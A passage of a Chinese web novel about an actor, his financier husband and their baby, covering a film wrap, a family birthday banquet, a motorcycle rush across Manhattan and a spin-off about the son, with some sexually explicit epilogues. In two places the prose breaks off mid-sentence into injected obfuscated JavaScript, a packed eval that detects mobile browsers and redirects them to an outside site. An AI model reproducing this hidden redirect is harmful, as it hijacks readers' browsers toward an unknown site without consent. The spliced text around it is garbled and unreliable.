菜鸟中介慢慢收拾着工位上的零碎物品。动作不快,像是在给自己拖时间。脑子里还在过流程,微信要怎么继续跟领导说话,措辞得委婉一点,态度再低一点,看能不能求个情,至少让他把手里那几个客户带完。 中介基本不拿底薪,他手里还有三个客户,只要成交,就有佣金。 他一边想着,一边把抽屉推回去。 这时候,有人进来了。 年纪比他大,耳边还贴着手机,听着一段微信语音。语音那头的声音他很熟,是难缠的何姐。只是此刻的语气完全不一样,没有之前和他对接时的盛气凌人,反而笑得花枝乱颤,像终于等到了一个“合适的人”。 那个人在他的位置前停下,自然地坐了下来。 很明显,这个人,很适合这份工作。 镜头最后停住。 迟铎偏头看了过去,他的脸落在虚焦里,轮廓模糊,表情却安静。 画面切黑。 正式杀青后,来祝贺、恭维迟铎的人很多,隔壁剧组没事的也过来聊了几句。迟铎一边应付着,一边低头看了眼时间。 之前他怕赶不上,索性打安全牌,买了凌晨一点的机票。但他现在只想着赶紧回去,收拾东西,直奔机场,改最早的那一班。 因为早上醒来,他一推开卧室门就发现,客厅外一直到酒店走廊,全是花。 各种颜色的新西兰芍药。房门敞开着,工作人员正满头大汗地把一束巨大的花往里挪。本来是半个小时就该送到的礼物,结果发现花实在太大,进不去货梯,只能一路抬上来。 见到礼物的主人已经提前发现了这场还没完成的惊喜,工作人员显得有点尴尬。 迟铎:“……” 不知道的,还以为今天是什么好莱坞大制作男主的杀青日。 而且玫瑰就算了,芍药这么大一朵,堆在一起,真的谈不上好看。 除了能非常直观地证明有钱任性。 走廊的动静把同层的演员都惊动了,门一扇扇开出来,大家探头一看,齐刷刷沉默了两秒。 拍戏这么多年,哪怕是剧本里也没见过这种阵仗,主要是成本太大,剧组就算想拍也舍不得用。于是结论来得很快:迟铎真拿的是“霸道总 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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然后大手一挥,很豪气,“好看,报销免了。” 接着才想到问:“你今天干嘛穿成这样?” 是想帅死谁? 裴与驰笑了:“那张照片他还太小了,今天带他去拍新的。” 裴与驰低头看了眼时间:“我约了摄影师。” 他伸手,像自然而然要牵他走。 “走吗?” 快门声一直没停,代拍在拍,旁边的人也在拍。 不是没看过耽丑。 但这两人,2个大帅比不说,拿的剧本也很怪。 上一秒哥俩好,下一秒就牵着走。氛围在好兄弟和恋人之间反复横跳,切得毫无预告,一秒兄弟,一秒恋人。围观群众只能先拍,拍完再回去细品。 裴与驰挥金如土了一整天,他那位抠门老婆却一点意见没有。 摄影师让怎么摆就怎么摆,一家三口按指令换姿势。 小海马还是没逃过。 以前还有老爸替他争取一下婴幼儿权益,今天老爸本人已经彻底堕落,主动加入杀马特阵营,甚至认真到给小海马配齐全套。 以前是骷髅头,今天变成太极图的方巾。身上包着的黑白丝巾上还印着巨大的十字架,主打一个宣告:我们一家三口,今天是克罗心boy。 还好,一家三口目前都看镜头。 直到最后,小海马开始不耐烦,扭来扭去,一没注意就从他妈怀里往下滑。裴与驰眼疾手快把他捞住—— 准确来说,是右手一把抓住了他的一只脚踝。 小海马整个人瞬间倒挂着,眼睛一睁,嘴巴一扁,刚要哭。 摄影师眼疾手快。 “咔嚓。” 不得不说,最后出来的成品,三方都很满意,爸、妈、摄影师。 小海马本人输在不会说话。 他妈咪甚至还去定制了马克杯和钥匙扣。 只能说,堕落得很彻底。 小冷脸男未来复盘,大概会很庆幸自己是genZ男孩。 不然,倒回到通信不发达的年代,他妈真干得出来,重大节日把这张照片印成明信片,挨家挨户乱寄给亲朋好友。 彩蛋: 浴缸的水面飘着厚厚的一层芍药花瓣。 “Officer,I need help.” 迟铎坐在浴缸边,一边说,一边把裴与驰的手往某个湿润的地方带。 裴与驰看了他一眼,面不改色,严肃教育:“Ma’am, that’s not how you call 911.” 话虽然是这么说的。 长官一边严肃指出这是一桩明显的报假J行为,一边还是很有职业操守地开始为女士提供服务。 裴与驰叹了口气,语气低下来,像是很不情愿:“下不为例。” 迟铎:“……” 下一秒,水声响起,浴缸里的花瓣被打散,漂浮开来,长官开始履行职责。 第二天,回家的计划被推后。 房门外挂上了“请勿打扰”,清洁服务没能按时完成。 裴与驰靠在床头的枕头上,心情很好地看着眼前的景象,偶尔伸手,帮某人撑一下,确保他还在原位坚持。 毕竟免费当了整整一个月的OnlyFans福利男。 轮到他回收福利,合情合理。 迟铎的身体都透着粉色,手上、tui.....根..中.间全是黏腻的液体。 万分后悔忘记某人是万事都强调投资回报的金融男。 44.生日 拍完戏以后,迟铎的日子一下轻松了。 商务当然是掉完了。合作方都很体面,统一口径是到期不续,理由是策略调整。双方能这么体面,一方面是当初停工那阵子裴与驰没少付赔偿金,大家好聚好散,品牌方PR不至于在私号上蛐蛐。另一方面也确实是调性不合,毕竟迟铎人设跨度离谱到像换了个赛道,前脚还是性张力单身帅哥,后脚就变成豪门一孩宝妈。 以前为了女粉硬接的某牌彩妆线代言,现在就完全不合适了。虽然当初接的时候迟铎就很不能理解,让他一个大男人拍彩妆,意义到底在哪。可那会儿他就是被公司推着走,公司说接,他就接。该拍拍,拍完也没多想。 现在没了这些商务,他反倒乐得清闲。表演课照上,片场也没白泡。回来之后古老师看他都顺眼多了,骂都从“你是木头吗”降级成“你这段没到位”。 剩下的时间,就全是陪裴与驰。 裴与驰回来照样忙得飞起,看起来不像老板,更像投行IBD的初级分析师牛马,恨不得把工位当床。迟铎一边心疼,一边又想他,表演课一下课就直奔公司,去办公室陪着。 裴与驰基本全程在开会。他就安静待着,要么琢磨台词,要么打FPS。主打一个挂件,存在感靠呼吸维持。裴与驰累了,偶尔从会议间隙绕过来,低头在他额头亲一下,再回去继续当资本的奴隶,像充电,也像打卡。 策略团队之前有幸见过老板娘的唇印,后来又在网上一路追老板的八卦,这回终于见到真人,神色都很复杂。脑子里还停留在群聊那天,老板满仓接单,和老板娘决战到天明的脑补画面里。 于是他们进裴与驰办公室都格外小心翼翼,人还离门八里远就先喊“裴总”提醒,声若洪钟。喊到后面,迟铎连敌人脚步声都听不见,转角就被爆头。 迟铎:“……” 他都怀疑裴与驰是不是学了某些公司劣质文化,每天下午要给员工集体洗脑,先喊口号再开会,不然这肺活量怎么个个惊人。 就这样过了两周,裴与驰好不容易从公司事务脱身,又马不停蹄带着迟铎飞香港参加银行金融午宴、晚宴,一个接一个。 自然,宴会还没结束,有关迟铎的偷拍照就在xhs上流传。自此不管什么平台,都默认他转去贵妇赛道。还有人酸,说代言掉了也不亏,反正以后在vvvvic晚宴上,他坐着就能看同事给他卖笑。 接到HW的珠宝杂志内页拍摄,是在裴与驰飞去纽约的第二天。迟铎这边还有事要处理,打算之后再带着小海马过去。 他刚把手机放下,就接到王平柔的电话。她一向不废话,开门见山。 “拍珠宝内页。明天试装,后天开拍。” 迟铎没立刻出声。 王平柔在电话那头停了半秒,像是已经看见他皱眉,直接把原因也一并扔过来。 “你俩婚戒是他们家的,这种热度不蹭白不蹭。你最近又在资本局露了那么多次脸,调性也对口。” “放心,没提什么挚友代言,连名分都懒得给,就是趁热带波货。” 迟铎“行”了一声,算是同意。 杂志拍得很顺利,品牌方甚至没让他摘婚戒。 提前准备的内页珠宝本来就是高定,负责拉高品牌格调。真正能转化的反而是镜头里他手上那枚婚戒。普通人咬咬牙,想着一生就一次,也能买得起。 高定给你看,瓜给你吃,婚戒让你买。主打一个两头都不亏。 拍完收工,迟铎换回自己的衣服,低头看了眼消息,指尖停了两秒,抬头对李浩说。 “等下先去市中心的爱马仕。” 王平柔:“……” 她想说点什么,又硬生生咽回去。 到了店里,胸牌挂着Alice的sales直接热情上前迎接,香槟和小食已经准备好。她先给王平柔和李浩倒好,又客气地把迟铎请进VIP室,过程行云流水。 这待遇看起来很明显,迟铎不是路过,是熟客。或者更准确点,是Alice手里握着的那种大额消费客户。 王平柔:“……” 这下更想说了,但还是忍住。 迟铎出来得很快,快得像不是来逛店,是来取货。 等工作人员把两个大袋子和两个饲料桶放上车,又补一句下周家具会送到家里后,王平柔终于忍不住开口,语气和神情都一样难尽。 “你出轨了?” 迟铎:“……” 王平柔越说越顺,已经化身私家侦探,专门收集出轨证据的那种。 “你进VIP室,出来这么快,东西这么多,还有饲料桶,还有家具。” “你这至少是配特殊皮的包。” “到底是谁?” 她盯着迟铎,步步紧逼:“你别想骗我说给裴总买的。” 说完她还真想象了一下画面,更一言难尽。 “裴与驰拎Kelly或者Birkin太惊悚了。” “我还说呢,你最近身上怎么时不时冒出他们家的东西。” 最近这段时间,迟铎身上时不时出现一两件爱马仕单品,从冷帽上的别针装饰到满钻手链,一看就是为了包拿的配货,拿得还很有规划,明显直奔高阶包去的。 迟铎:“……” 王平柔尽心尽责捍卫自己的第二个老板,苦口婆心地指责老板娘花心。 “我要说了,你这样对得起裴总吗?” “到底是谁?能喜欢这个的,不是翘屁小脚裤就是异性。” 她说到这更一言难尽了,眼神在“你是双”还是“双插头”之间反复横跳。 迟铎:“……” 他终于开口,先把她按回人类社会,“你脑子能不能别这么肮脏。” 然后才揭谜:“哄太后的。” 王平柔一愣。 “林阿姨不是不爱这些吗?” 迟铎他妈是早期女文青,帆布包才是归宿,一般上面还印着那句scent of woman。 迟铎翻了个白眼。 王平柔秒懂,立刻改口,“哦哦哦哦哦,是哄婆婆啊。懂了。” 她甚至还不忘补一句感慨,感慨得很真诚。 “哇,我原以为豪门婆媳关系很复杂。” “没想到这么和谐,儿媳妇这么乖。” 迟铎懒得跟她扯,直接道:“今晚她生日。” 这就是他为什么没跟裴与驰飞纽约。裴与驰的会改不了期,他得带上小海马,代替他爸到场尽孝心。 生日地点在瑰丽的小型宴会厅,人数不多,不太张扬。除了裴沈两家的亲戚,就是平时交好的朋友,和重要的商业伙伴。 迟铎规规矩矩穿着一套深蓝色西装,刘海往上梳,露出眉毛,看起来乖顺得有点不合时宜。他还对着镜子练了几次笑容,确保足够温和。 小海马也被他强行梳成大人模样,奶嘴照 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16997868|191384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嗦,布书照撕,主打一个妈弄妈的,我搞我的。迟铎最后把人抱起来掂了掂,心里默念一遍流程,确保一大一小都能通过公婆质检,slay全场后才出发。 到了酒店,沈经纬拿着香槟和一位打扮精致的女士说话。她披着一件白色香奈儿外套,里面是Dior经典黑色长裙,从耳环到项链戒指佩戴了一整套蕾丝花高珠,裴与驰的手笔。 迟铎一进门,宴会厅的氛围凝固了一秒。大家很快如常地重新挂上微笑,回到寒暄社交中,但视线都若有若无地往同一个方向飘。 迟铎自然感受到了。平时他早就习惯,也不在意这种打量,但今天不同。他第一时间没说话,拿不准这种场合的称呼。 沈经纬神色如常,见他过来,偏头示意,“来了。” 然后她很自然地跟旁边那位女士介绍:“迟铎,我儿子。” 这句话一出,一切都尘埃落定。打量的视线瞬间收回,大家面上的微笑都真心了几分。沈经纬这种级别的大佬的生日宴,本来就是借着祝寿认识人,拓展人脉。既然儿媳妇已经认了,八卦也就到此为止了。 裴谦之一如既往没出现。昨晚两人在家吃过一顿家常便饭,生日便算是过了。今天更多是社交活动。 迟铎心里那根绷着的弦松了半分,笑得很得体,跟旁边的女士打招呼:“您好。” 又对沈经纬说道:“妈,生日快乐。” 他很乖巧地把礼物奉上,随后侧身,让身后的保姆把小海马抱过来。 小海马不太配合场面,开始哼唧。迟铎正要哄,沈经纬伸手把他接过去,动作不算熟练,但很稳,抱得也不生疏。 她低头看着孩子,客观评价:“他跟他爸一样,脾气很大。” 下一秒又没忍住,嘴角弯了一点,因为小海马一把抓住了他老爸送的项链。 迟铎看着沈经纬哄小海马的样子,彻底松口气。 完美。 儿子简直是最佳生日礼物。 宴会散后,迟铎回到酒店,跟裴与驰视频,把如释重负写在脸上。 裴与驰失笑,“就这么怕婆婆吗?” 迟铎懒得理,想了想,才开口。 “你妈刚才当着所有人介绍我是她儿子。” “不然呢?” “你想要更直接点吗?”裴与驰语气一本正经,“我下次提醒她,直接说儿媳妇。” 迟铎:“……” 他其实是怕,自己的负面消息以后会不会影响到她。 裴与驰笑意收了点,语气认真起来。 “想什么呢。沈董踩过的坑、见过的风浪,比我们这点动静大多了。” “而且你是裴太这件事,本就不需要别人认可。” “我要和你结婚,是通知他们,不是商量。” 迟铎“嗯”了一声,声音很轻,乖得像真被哄住了。 裴与驰看着他那副样子,像是满意了,停了两秒,语气忽然轻佻起来,“那裴太什么时候来纽约。” 迟铎刚要开口。 裴与驰继续。 “履行夫妻义务。” 迟铎:“……” 他盯着屏幕,面无表情,手指一抬,啪地按掉。 下一秒,裴与驰收到一条航班信息,北京时间上午八点。 迟铎把手机一丢,心里把裴与驰骂了一遍。骂完又面无表情地想,幸好他跑火车跑得很及时,不然还真赶不上飞机。 45.NY 小海马不到七个月,含着奶嘴,mama和dada都还不能含混不清地喊出来,就被这对不靠谱的父母挟持着,被迫完成了人生第一次长途旅行,目的地纽约。一个空气里永远是一股油烟混着刹车皮的味道,连风都带点匆忙的城市。 以及,在完全不知情的情况下,顺带出席了他爸人生中的重要节点:基金公司总部正式落地曼哈顿的开业宴会。 此时此刻他妈站在路边。 “我靠,真的假的。”迟铎确认了第三遍,不是没油,也不是没信号,是车真的抛锚了。安全座椅里的小海马吸着奶嘴,表情安详,对眼前这一切毫无概念,甚至还很配合地眨了下眼。 迟铎抬头,目光在路边扫了一圈,定格。 不远处,一个机车骑手刚停好车,摘下头盔,准备进便利店。 迟铎已经走过去了,步子很快,语气很急,态度却很客气:“Bro。” 对方一愣,一个亚洲人走到面前,身板看起来还没他一半厚,开口却很直接:“能把车借我一下吗。” 骑手:“……?” 这个要求离谱得有点不讲武德。 他下意识退了半步,目光在迟铎身上飞快扫了一圈:打扮不属于任何一个安全分类,风格明显受过亚文化长期熏陶,站姿松弛,语气冷静,一看就不像单打独斗。骑手脑子里先闪过Bruce Lee的双节棍和贴脸拳法,下一秒画面自动升级成飞车党,分工明确,这个明显是负责上前搭话、吸引注意力的。 得了,他这个老纽约客,今天怕是要体验一次真正的纽约特产,GTA。他甚至已经开始在心里复盘:今天回家要怎么跟老婆解释自己为什么丢了车,以及为什么还活着。 骑手余光已经在往后扫,找退路,甚至连吓退对方的台词都在脑子里预演了一遍:“Taichi!” 不管什么意思,反正功夫片里都是这么喊的。 就在这一声出口的同时,迟铎伸手,把外套拉开了一点,不是掏双截棍,是一个被专业背带稳稳固定在胸前的baby。 小海马含着奶嘴抬头,和骑手对视了一秒。 骑手:“……” 空气直接停住。 迟铎低头检查了一下背带扣,把护颈的软垫往上提了提,顺手把防风罩往里拢,确认小海马的脸完全贴在他胸口的风挡里,这才抬头,很认真地补充: “车抛锚了,我赶时间。” “你放心,我会付钱。” 说话同时他点开手机,转账界面亮着:“现在转。” 骑手低头看了看baby,又看了看迟铎,最后看了一眼自己的机车,整个人的世界观在十秒内完成了一次不可逆的重组。 迟铎指了指自己,又指了指小海马,再指了指路的方向:“我真的很急。Please。” 恳求完,他又示意了一下转账页面,意思很明确,价格随便开。 骑手低头看了看小海马,小海马也看着他,继续嗦奶嘴。 三秒后,骑手叹了口气,把头盔递了过来:“……别摔。” 迟铎已经戴上了:“不会。” 价格报得很公允,看在那个安静又可爱的亚洲baby份上,骑手心里已经默认这车今天多半回不来了。 机车发动的瞬间,声音贴着地面炸开,迟铎一拧油门,车直接窜进车道,干脆、利落,看得出来是熟手。 手机震了一下,转账到账。 骑手低头一看,沉默了,是刚才说好的十倍。 他站在原地,看着空掉的路口,风把尾气吹散,什么都没剩下。 Baby 特工?Jackie Chan? 算了,纽约什么怪事没有。 迟铎很熟练地让机车汇入车流,机车贴着车流往前穿,小海马在他怀里晃了一下,像是终于意识到速度不太对,皱着眉哼唧了两声。迟铎一边把速度压得更稳,肩背微弓,把风和噪声都挡在外面;一边低声哄: “没事。你爸在等着我们。” 可是,曼哈顿的路况从来不考虑任何人的人生节点。 拥堵一旦开始,就没有中场休息。 红灯亮起的时候,前排的车已经开始集体装瞎,慢吞吞往前蹭,蹭得毫无羞耻感。导航上那条去半岛酒店的线红得发紫。迟铎扫了一眼时间,心里飞快算了一下:再这么遵守交规下去,等他到场,裴与驰致辞都该讲完了;再者,这满街的高音炮黄包车,小海马的耐心大概也快到极限了。 他叹了口气,然后非常理智地选择了见缝插针。 红灯还亮着,后视镜里警灯亮了。 迟铎:“……” 他很熟练地靠边停下,摘下头盔,十分配合。警察说:“Sir,你刚刚闯了红灯。”迟铎点头:“嗯。”警察又补:“还插了车。”迟铎继续点头:“对。”警察低头写单,手速很快:“你很着急?”迟铎看了眼时间:“是。” “急什么?” 迟铎想了想,回答得很诚恳:“我老公今天开业。” 警察手一顿,抬头:“什么?” “曼哈顿新办公室。”迟铎补充,“很重要。” 警察:“……”他低头继续写,“这不是理由。” “我知道。” 罚单递过来,迟铎利索地接过,机车重新启动。 不到两个路口,警灯又亮了。 迟铎在心里骂了一句,慢慢靠边。这次他先开口,态度异常体贴:“要不你一次性全开完备着?我赶时间。” 警察:“……?” “我真的很赶。” 迟铎再次强调。 警察走近一步,视线落到他胸前,明显愣了一下:“你带着的是……孩子?” 迟铎低头看了一眼,小海马被风吹得有点不耐烦,眉头皱着,含着奶嘴,一副已经忍了很久的表情:“是。” 警察沉默了一秒:“你知道这样不安全吗?” “知道。” 迟铎没解释自己一路把扣子翻来覆去检查、还把小海马的耳罩压得严严实实——他老爸今天真的有很重要的事,希望小海马长大后能原谅他老妈。 “那你为什么还这么开?” 迟铎又看了一眼时间,回答得非常实在:“再慢一点,我老公就讲完了。” 警察:“……” 他低头,继续点设备:“插车。” “闯红灯。” “危险驾驶。” 说一句,点一下。 迟铎站在旁边盯着那台设备,忍了又忍,最后还是没忍住,认真提议:“要不你写快点?或者一次性多贴几条。” 设备吐出第二张罚单。警察把单子递过来,又看了他一眼:“下次别带着孩子这么开。” “好。” 应得很快,明显没过脑。 “你现在还打算继续这么开?” 迟铎想了想,也很认真:“尽量不再被你抓到。” 警察:“……” 他盯着迟铎看了几秒,最终往后退了一步,挥了下手,“走吧,慢点。” 迟铎重新戴好头盔,低头对怀里的人教育道: “你看见了,但别学我。” 小海马吸着奶嘴,完全不买账,只是哼了一声。 曼哈顿半岛酒店门口一切如常。 加长车刚泊好,门童快步上前,车门打开,宾客、红毯、镜头、寒暄、微笑,一套流程行云流水,这样的场景每天都在这里发生。 下一秒,引擎声贴着地面炸开。 在刹车前的一瞬,迟铎先把胸前的背带再压紧,确保小海马牢牢贴着自己;机车杀到门口,刹车声拖长,压线切入,车尾甩开,轮胎在地面划出一道弧线,又被人硬生生拽回来,几乎是横着停在红毯边。 太近、太快、也太准,跟动作电影一样。 门童脑子嗡了一下:头盔、机车,直接漂移到酒店正门。下一秒会发生什么完全不在他的工作经验范围内。 就在这时,头盔摘下;下一秒,哭声炸开,红毯两侧的视线像被同一个遥控器按了暂停。 不是爆炸,也不是枪声。 是一种在任何文明社会都拥有最高优先级的声音:婴儿的哭声。 门童: “……” 迟铎已经把头盔随手挂在车把上,一只手扶着车,另一只手熟练地去拍怀里的人:“没事没事,吓到了吗?” 看起来很酷,语调却很软,和机车极不匹配。 小海马哭得很认真,小脸皱成一团,显然对刚才那下甩尾很有意见。 门童站在原地,没敢动。迟铎一边轻轻晃着孩子,一边掏出手机拨了个电话:“到门口了。路上出点状况,衣服来不及换,你下来一趟。” 电话挂断,他低头把被风吹歪的奶嘴按回去,又在背上拍了两下,哭声慢慢停了。机车安静地停在红毯旁,头盔挂在车把上,像刚才那一幕没发生过。 门童这才回过神,快步上前,语气已经完全找回职业状态:“先生,需要我帮忙吗?” 迟铎抬头,对他点了下头:“麻烦了。” 红毯边,机车、婴儿、头盔并排摆着。 门童看了一眼,很快移开视线。 尊贵的客人带点个人风格,在半岛,这很正常。 更何况最后还拿到了一笔过于丰厚的小费。 裴与驰的助理来得很快,电话刚挂,人已经出现在门口,西装搭在臂弯里,脚步很稳。他扫了一眼情况,伸手把小海马接了过去:“我来。” 迟铎点了下头,把妈咪包递过去,助理接住,转身离开,没有多余停顿。 还好,提前了二十分钟,发型师显然是赶不上了。 迟铎换好西装,对着镜子站了一会儿。灯光很亮,镜子里的人轮廓清晰,眉眼生得极好。肩线被西装撑得很漂亮,腰收得利落。他伸手抹了点发蜡,随意抓了两下头发,没有刻意造型,但效果很好,一看就知道花不花心思都长这样。 镜子里的人迅速完成了身份切换:从不久前还骑着机车、带着baby,疑似磕嗨了的堕落嬉皮士,变成了今晚宴会的主人之一。 他抬手理了理袖口,又低头看了眼时间,来得及。 迟铎进了宴会厅,一路点头、寒暄,流程熟得不能再熟,脸上挂着恰到好处的社交微笑,视线却不自觉地在人群里找人。秘书很快凑过来,低声说裴与驰还在会议室,正和几位合作伙伴谈事情。 迟铎点了下头,刚准备过去,走出没两步,一双白嫩、精心保养的手从旁边挽住了他的手臂,动作自然得很,连停顿都没有: “来,这边坐。” 迟铎: “……” 他侧头,看见的是一位投资银行家的太太,最近她丈夫和裴与驰在几个项目上走得很近,私下也一起吃过几次饭。迟铎又看了一眼依旧紧闭的会议室门,没多说什么,顺着她的力道坐了过去。 太太们围坐在一起,先是一轮浮夸又精准的社交寒暄,交换近况、人脉和信息,确保目前阶段还没有互相搞上对方的老公;等场面热起来,话题很快滑向老三样:乔雅登和保妥适、如何换更丑的女佣,以及老公出轨后的补偿学。 一圈上东区贵妇的气泡音在迟铎耳边起起落落,尾音黏长,语调浮夸又笃定,像开了立体环绕的社交噪音,一层层往他脑子里灌。 迟铎基本没怎么听,他只是偶尔点头、应声,分寸拿捏得刚好,既不显得冷淡,也没打算参与进去;今天这个场合,他站在这里,就得让宾客尽欢。 直到挽着他手臂的那位太太侧过头,像是忽然想起什么,笑着问了一句: “那你呢?” 迟铎抬眼。 “要是Bruce哪天在外面玩过头了,” 她聊得正起劲,“你打算怎么办?” 迟铎愣了一下,这个问题落得太突然,他甚至没来得及多想: “如果他出轨。” 话说出口停了一拍,“我大概会直接剪掉。” 又补了一句,像是在把方案补完整,“比较省事。” 气泡音瞬间消失,太太们面面相觑。 话刚落下,会议室的门开了。裴与驰走出来,袖口还挽着,目光随意扫过来,迟铎抬头,两人视线撞了一下。 下一秒手被牵住了。 “走。” 迟铎还没反应过来,人已经被带着站了起来。刚才挽着他手臂的那位太太下意识开口:“Bruce,我们正聊——” “改天。”裴与驰接得很快。 他牵着迟铎往前走,手指扣住,“他跟我。” 迟铎被他拉着,耳根慢慢热起来,开始后悔刚才那句随口的话。 脑子里翻来覆去只剩下一 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掌声响起,演讲结束。流程很快接上,灯光亮起,快门声此起彼伏,拍照、祝贺、寒暄、交换名片,社交自然地延续下去。助理抱着小海马站在一旁,迟铎偶尔侧过去,低头看一眼,确认小海马的耐心还在线,又很快收回视线,继续应付眼前的人。 他侧头看着裴与驰和人聊起自己擅长的领域,那些他听不太懂的词继续一串一串地落下来。他没有刻意去分辨内容,只是看着他:看他眉眼间那点熟悉的骄傲重新浮出来,毫不掩饰,和很多年前一模一样。像毕业典礼那天,他站在台上,用一长串高级语法理直气壮地谈论未来。 心里忽然一软。 就,很奇妙。 明明都已经当爸爸了。 可在为自己热爱的事情发光的时候,他还是那个意气风发的小鬼头。 依旧耀眼,也依旧让他移不开眼。 晚上,小海马被保姆抱走,吐着鼻涕泡泡,很快就睡熟了。社交了一整晚,迟铎从浴室出来,只想挨着床立刻关机。西装是帅的,人也是帅的,裴与驰今天确实很帅,但这并不影响他现在只想躺平,有什么明天再说。 他刚挨上枕头,眼睛还没完全闭上,旁边突然冒出一句:“它今天被你吓到了。” 迟铎:“……” 他愣了两秒才想起来这回事。 果然,被听到了。 紧接着一句落下,语气平静,逻辑完整:“你要好好贴着它,跟它说对不起。” 流程清晰,安排周到,连售后都替他想好了。 迟铎一言难尽地看着表情如常、语气冷淡的男人,面不改色地吐出这种虎狼之词,又低头看了一眼一如既往精神抖擞的好兄弟,实在没看出来它哪里受到了惊吓。 但话是自己说的,理亏。 他沉默了一下,还是忍了,开始动作。结果对方显然并不打算就此放过他,指挥得理直气壮:“贴近一点,态度要诚恳。” 迟铎:“……” 他僵了几秒,还是认命地照做,稍微抬起来,调整姿势,彻底地贴好,忍气吞声了半天,最后小声开口:“……对不起。” 裴与驰这才点头,像是终于帮好兄弟认可了这份道歉。他伸手扶住迟铎,把姿势调整得更不讲理,开始动作,语气却依旧冷静:“下次别再乱说话,它会记仇的。” 迟铎:“……” 他瞬间清醒了,一点困意都没剩。 有本事就放马过来,他倒要看看还能记仇到什么地步? ……反正平时也已经够不讲理了。 鸡飞狗跳的一天过去,裴与驰的开业宴会圆满落幕。WSJ 很给面子,仰拍下裴与驰意气风发的演讲时刻,顺带附赠了一张他跟别人讲话时,迟铎在侧面带着笑看他的样子。 他其实一直都是这样看他的,看了好多年,只是如今镜头终于拍到了。 不管有多少揣测,看过这张无滤镜原图的人都认可:至少这一刻,他们是相爱的。 Fin. 彩蛋1: 开业当天早上,East Hampton 的度假酒店。小海马昨晚没睡好,被保姆抱在怀里,含着奶嘴,整个人软成一团,可怜又无助。保姆低头看着他,心疼得不行,一想到待会儿还要跟着太太再折腾一趟,心疼瞬间压过了职业素养。 “要不,小少爷就留在酒店?” 迟铎看了眼还在嗦奶嘴的儿子,把大号kelly messenger斜挎到身上,单手把人捞了起来。自从为了哄婆婆开始狂买爱马仕累积消费额,这只包就逐渐取代了他以前那些又酷又不实用的包,成了唯一幸存并且长期服役的那一只,用途也很明确:专放纸尿裤和婴儿湿巾。 “不行。” “这次对他爸很重要。” “他必须在。” 保姆:“……” 怀里的小少爷正专心嗦着奶嘴,咿咿呀呀地喊着困。 他爸人生中极其重要的时刻,对现在的他来说,可能还不如下一顿奶重要。 彩蛋2: 裴与驰好不容易忙完事业,又忙完老婆,才终于有空注意到儿子在干嘛。一低头,就看见小海马正坐在地毯上,拿着一个娃娃认真研究:红色波浪长发,绿色鱼尾,紫色纱裙。 裴与驰:“……” 迟铎:“……别刻板印象。” 他是真的被纽约的高音炮黄包车吓怕了。上次三辆一起追着他问要不要坐,声音一个比一个大,小海马当场被吓哭,怎么哄都不行。刚好路过这家店,小海马一眼看中这个娃娃,死活不走,他能怎么办。 迟铎补了一句:“是他自己想要的。” 话音刚落,小海马像是研究完毕,突然把娃娃往地上一扔,“啪”一声,娃娃的脚肉眼可见地裂了一道。 裴与驰:“……” 迟铎看了一眼,非常镇定:“没关系,这个娃娃有娃娃医院,可以修。” 话一出口,暗叫 GG。 裴与驰沉默了两秒,语气很直接:“你要是想生女儿,不用这样暗示。” 他看向迟铎,态度配合得近乎认真。 “直接说就行。” “我可以配合。” 迟铎:“……” 46.裴砚舟[番外] 小冷脸男的大名叫裴砚舟,名字是迟铎取的。 原因也很简单。迟铎觉得他爸身上的资本家味道实在太重了,做什么事都要讲投资回报率。关键是,迟铎自己也好不到哪去,跟文学素养基本不沾边。所谓高级浪漫艺术爱好,在他们家属于传说级别的稀缺资源,从他爸送的粉色闪光弹就可见一般。至于迟铎的杀马特审美,他绝口不提。 所以他才会对儿子抱了点非常不切实际的幻想。希望裴砚舟能脱离人类低级趣味,热爱阳春白雪一点,哪怕只是会在下雨的时候吟首诗,也算给这个家争口气。至少别像他俩一样,表达爱的方式最终落实为:OnlyFans网凰,私密账号,独家供应。 他甚至还替儿子认真规划过路线:哲学、英语文学、古典学都可以来点,长期熏陶,以后当个哲学家,家里蹲就好。学术回报率低一点没关系,家里可以长期持有,零分红更没关系,他爸养得起。 事实证明,他低估了他儿子有多像爸。 裴砚舟跟裴与驰一样,不能容忍阶级滑落,至少在他这一代不可以。大资本家的儿子只有两种走向:要么成为败家子,要么成为资本家Jr.。很遗憾,他显然对前一种没什么兴趣;当然,他对妈咪那套文曲星路线也没什么兴趣。裴砚舟对此的结论很他爸:这种高投入、低产出比的东西,不在考虑范围。 他的时间都留给财经播客、模拟盘的交易赛,以及平板里的彭博等财经杂志和金融顶刊。 最近这版《Fortune》是例外。他爸刚上了封面,裴砚舟专门买了这期纸质版,摆在自己桌上,摆得端端正正。这也是他唯一一本纸质周刊,还是他亲自花钱去买的。 不幸的是,因为太像爸爸,他走的路几乎就是他爸当年那条路的复刻。偏偏裴与驰珠玉在前,又和他儿子一样属于开局自带外挂。这就导致裴砚舟要超过爸爸,就只能更早开始、更用力一点。 竞争意识这种东西,对alpha male来说,从来不挑年龄。 于是,在外人看来超级幸福的裴砚舟裴小少爷,其实一直过得很辛苦。 别人家都在唉声叹气,嫌小的不争气。迟铎这边正好相反。 他看着自己儿子一副头悬梁、锥刺股的样子,精神恍惚到忍不住低头看了一眼手机里的银行卡,反复确认裴与驰最近没成老赖,自己也依然是那个208万。确认完毕之后,心情不但没有好转,反而更复杂了。 然后他开始非常认真地思考一件事:要不要教儿子当一个不学无术的二世祖。 真的。 什么都不用学,每天花钱、享受生活;偶尔惹点无伤大雅的祸,人生轻松又健康。 家里又不是养不起。 可除了每周一次的妈咪亲子电玩、模拟器时间,裴砚舟其他时间表都被他自己排得满满当当,根本不给他这个当妈的任何发挥空间。 